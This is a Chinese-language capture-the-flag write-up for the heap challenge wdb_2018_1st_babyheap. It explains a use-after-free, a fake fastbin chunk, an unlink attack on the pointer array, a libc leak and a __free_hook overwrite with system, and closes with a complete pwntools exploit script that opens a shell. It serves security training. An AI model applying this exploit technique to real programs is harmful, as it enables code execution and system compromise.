wdb_2018_1st_babyheap_WP

First Post:

Last Update:

wdb_2018_1st_babyheap WP

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

Full RELRO不能直接写got表。

静态分析

1
2
3
4
5
6
7
8
9
int sub_4008E3()
{
puts("1.alloc");
puts("2.edit");
puts("3.show");
puts("4.free");
puts("5.exit");
return printf("Choice:");
}

程序功能如上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sub_400B54()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 9 && (&ptr)[v1] )
{
free((&ptr)[v1]);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

漏洞点在free操作中,存在UAF漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_4009A0()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 9 && !(&ptr)[v1] )
{
(&ptr)[v1] = (char *)malloc(0x20uLL);
printf("Content:");
sub_40092B((__int64)(&ptr)[v1], 0x20u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

允许申请最多十个堆块,大小固定为0x30。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_400A79()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 0x1F && (&ptr)[v1] && dword_6020B0 != 3 )
{
printf("Content:");
sub_40092B((&ptr)[v1], 32LL);
++dword_6020B0;
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

edit功能只能使用3次。

解题思路

由于got表不可写考虑向free_hook中写system。显然我们需要泄露libc地址,在堆中泄露libc最经典的思路是利用unsortedbin去泄露main_arena+88的地址。但这里我们申请堆块的大小被固定。必须通过其他方法获得unsoredbinchunk

这里我们利用uaf修改已经进入fastbin中的chunk,伪造一个chunk来修改其他chunk的大小,同时由于没有开启PIE,储存堆块地址的位置已知,可以进行unlink。

具体操作

首先我们先申请一系列堆块进行准备工作(其实这里不算时未卜先知,是写到后头发现长度不够才回头申请的堆块)。

依次释放chunk1,chunk0,这时chunk0的fd位置储存着chunk1的地址。利用show泄露出堆的地址。

image-20240903195106090.png

我们需要构造一个fake chunk并将fakechunk地址写入chunk1的fd。这里我们用掉了一次edit机会。

我们选择将fakechunk构造在chunk0的数据部分。我们申请3个堆块就可以依次申请出chunk0,chunk1,fakechunk。

申请出chunk0,时要注意修改fakechunk的chunk头的size部分为0x31

注意我们程序中申请堆块要求下标不重复,这时我们的下标对应的堆块应该是这个样子。

image-20240903201122815.png

之后我们释放chunk 5,再将其申请回来为chunk 8以修改fakechunk的大小为0x21。这里就要问了,既然这里要改成0x21,为什么刚才不直接改好呢。

这是因为申请内存时有一个检查,会检查你申请的那个内存大小是否与所在的fastbin应有的大小相同,如果刚才改为0x21是过不去这个检查的。

至于为什么修改为0x21是因为一会freechunk6进行unlink时会有检查大小。

我们现在进入unlink部分

unlink会出现在释放堆块时最后进行向后或向前合并时。它的作用是将进行合并的空闲chunk从所在的bin中解链。

当我们将chunk6释放时,他会发现前面的chunk7是空闲的,进入向后合并流程,将chunk7进行解链。判断如下

1
2
1,检查chunk6的presize是否与chunk7的size一致
2,检查chunk7->fd ->bk == chhunk7,chunk7->bk ->fd ==chunk7

我们的fake chunk的地址(即chunk0的数据段部分)存在了bss段上的ptr中。我们只要修改fakechunk的fd为ptr-0x18,bk为ptr-0x10,就能通过这个检查。

而且经过解链,chunk7->fd ->bk = chunk7 ->bk,chunk7->bk->fd = chunk7->fd。结果就是ptr的位置被改写成为了ptr-0x18。这就是unlink的一个流程。

之后我们可以通过操作chunk0去修改ptr,从而获得任意地址读写的能力。

为了unlink我们释放chunk6,这里就是为什么要多申请几个堆块,因为chunk6的size被我们改成了0xa0,在free时他会检查nextchunk的的prev_inuse是否为1,而且这个nextchunk是通过根据大小偏移得到的,所以我们只能多申请堆块去修改对应位置。

最终我们的堆块情况应该如下。

image-20240903213730933.png

这时因为free和unlink,fakechunk被放入了unsortedbin,我们打印fakechunk即可泄露libc。我们之后只需要计算出free_hook与system的地址,先edit0将ptr改为free _hook,再次edit即可完成向free_hook中写入system。

最后我们再free chunk6,就能执行system(“/bin/sh)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'

binary = './pwn'
libelf = './libc-2.23.so'

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

io = process("./pwn")
#io = remote("node5.buuoj.cn",27661)

def a(idx,content = b""):
sla(b"Choice:",b"1")
sla(b"Index:",str(idx).encode())
sa(b"Content:",content.ljust(32,b"a"))

def e(idx,content = b""):
sla(b"Choice:",b"2")
sla(b"Index:",str(idx).encode())
sa(b"Content:",content)

def s(idx):
sla(b"Choice:",b"3")
sla(b"Index:",str(idx).encode())

def f(idx):
sla(b"Choice:",b"4")
sla(b"Index:",str(idx).encode())

list = 0x602060



#gdb.attach(io)
a(0)
a(1)
a(2)
a(3)
a(4,p64(0)+p64(0x21))
f(1)
f(0)
s(0)
heapaddr = u64(ru(b"\n").ljust(8,b"\x00"))
ls("heap:"+hex(heapaddr))
e(1,p64(heapaddr-0x20)+b"a"*0x18)
a(5,b"a"*8+p64(0x31)+p64(0)+p64(0))
a(6,b"/bin/sh\x00")
a(7,p64(0)+p64(0)+p64(0x20)+p64(0xa0))
f(5)
a(8,b"a"*8+p64(0x21)+p64(list-0x18)+p64(list-0x10))
f(1)
s(7)
libc_base = u64(ru(b"\n").ljust(8,b"\x00")) - 0x3C4B20 - 88
ls("libc: "+ hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
e(0,p64(0)*3+p64(free_hook))
e(0,p64(libc_base+libc.sym["system"])+p64(0)*3)
f(6)
itr()

总结

警惕sendline陷阱,如果不影响的话建议根据允许输入的长度调整输入数据,尤其不要干输入0x20字节,算上”\n”其实是0x21字节这种事。